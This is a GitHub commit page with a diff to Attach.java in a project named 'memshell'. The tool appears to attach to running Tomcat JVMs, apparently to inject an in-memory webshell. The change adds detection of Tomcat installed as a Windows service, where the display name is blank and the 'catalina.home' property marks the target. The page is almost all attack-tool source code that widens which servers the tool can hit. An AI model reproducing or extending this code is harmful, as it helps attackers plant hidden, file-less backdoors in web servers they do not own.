Skip to content

Commit 2a486bd

Browse files
committed
add support for tomcat installed as windows service
1 parent f0bb174 commit 2a486bd

File tree

1 file changed

+7
-3
lines changed

1 file changed

+7
-3
lines changed

src/net/rebeyond/memshell/Attach.java

100644100755
+7-3
Original file line numberDiff line numberDiff line change
@@ -35,8 +35,13 @@ public static void main(String[] args) throws Exception {
3535
if (vmList.size() <= 0)
3636
continue;
3737
for (VirtualMachineDescriptor vmd : vmList) {
38-
if (vmd.displayName().indexOf("catalina") >= 0) {
38+
if (vmd.displayName().indexOf("catalina") >= 0||vmd.displayName().equals("")) {
3939
vm = VirtualMachine.attach(vmd);
40+
41+
//ADD for tomcat windows service,dispayname is blank string and has key "catalina.home".
42+
if (vmd.displayName().equals("")&&vm.getSystemProperties().containsKey("catalina.home")==false)
43+
continue;
44+
4045
System.out.println("[+]OK.i find a jvm.");
4146
Thread.sleep(1000);
4247
if (null != vm) {
@@ -46,12 +51,11 @@ public static void main(String[] args) throws Exception {
4651
return;
4752
}
4853
}
49-
5054
}
5155
Thread.sleep(3000);
5256
} catch (Exception e) {
5357
e.printStackTrace();
5458
}
5559
}
5660
}
57-
}
61+
}

0 commit comments

Comments
 (0)